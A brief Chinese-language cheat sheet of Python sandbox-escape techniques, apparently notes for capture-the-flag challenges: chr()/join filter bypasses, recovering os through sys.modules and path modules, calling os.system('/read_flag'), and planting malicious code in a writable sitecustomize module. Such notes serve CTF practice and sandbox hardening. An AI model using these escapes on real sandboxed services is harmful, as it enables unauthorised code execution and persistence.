

Python沙盒逃逸

查看内置可使用的函数

```
print(list(dict(vars()).keys()))
```

绕过：可根据ssti绕过方式

引号

```
str().join(chr(x) for x in [0x5f, 0x5f,  
0x63, 0x6c, 0x61, 0x73, 0x73, 0x5f, 0x5f])  
# chr绕过, join连接
```

OS

```
sys.modules['os']='no' #可以直接删除错误os  
(del sys.modules['os']), 重新加载的就是系统os
```

有os属性的模块:

- 1.posixpath: Unix路径处理, posixpath.os
- 2.ntpath: windows路径处理, ntpath.os
- 3.genericpath: 通用路径处理, genericpath.os
- 4.shutil: shell工具集, osz, shutil.os

使用: globals()

```
['sys'].modules['posixpath'].os.system('/re  
ad_flag')
```

sitepackages逃逸

每次启动 Python 解释器时, Python 都会尝试去 site-packages 目录下自动导入 sitecustomize 模块 (如果存在的话)

如果sitecustomize模块有可写权限, 我们就可以覆盖成我们的恶意代码

site.getsitepackages()[0] 为site-packages路径